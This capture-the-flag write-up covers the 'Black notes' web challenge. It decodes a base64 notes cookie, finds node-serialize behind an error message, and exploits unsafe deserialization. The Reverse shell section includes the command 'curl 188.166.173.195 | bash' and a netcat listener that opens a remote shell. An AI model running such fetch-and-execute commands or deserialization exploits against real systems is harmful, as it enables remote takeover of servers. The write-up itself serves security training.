Black notes
Difficulty
Medium
Points
250
Description
We created this website for hackers to save thier payloads and notes in a secure way
Quick Analysis
After registration, the endpoint register return notes cookie, which is a base64 eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0= and redirect to /notes endpoint. The endpoint /notes rendered the registered username and Sample Note.
Analyzing the notes endpoint and cookie
Decode the cookie value of notes eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0= using Base64 algorithm.
from base64 import b64encode, b64decode
notes_value = 'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0='
b64decode(notes_value).decode()The JSON object contains notes that are parsed and returned in the endpoint /notes.
Unhandeled Exception
What if the JSON object is unparsable.
Change the cookie value of notes then, reload the endpoint /notes.
From the exception, the endpoint /notes uses node-serialize to unserialize the object.
Exploitation
I assumed the application is vulnerable to unsafe deserialization, and this challenge is the same as the ZDITECH example [1].
Proof of concept
Since the endpoint /notes render the notes object, craft a function that returns 1; if the application is vulnerable, the endpoint /notes should return 1 on the page.
Payload
Change the cookie value of notes then, reload the endpoint /notes.
After reloading the endpoint /notes, the payload executed and returned 1.
Reverse shell
Run an HTTP server on port 80
Create index.html with content
Payload
The function executes the command
curl 188.166.173.195 | bashviaexecfunction.The command
curl 188.166.173.195 | bashrequests theindex.htmlcontent from188.166.173.195viacurl, thencurlpipes the content ofindex.htmltobash.Start a
netcatlistener on port 443
Change the cookie value of notes then, reload the endpoint /notes to obtain a reverse shell.
The flag
Execute printenv command on the challenge server to get the flag.
References
https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html
Last updated
Was this helpful?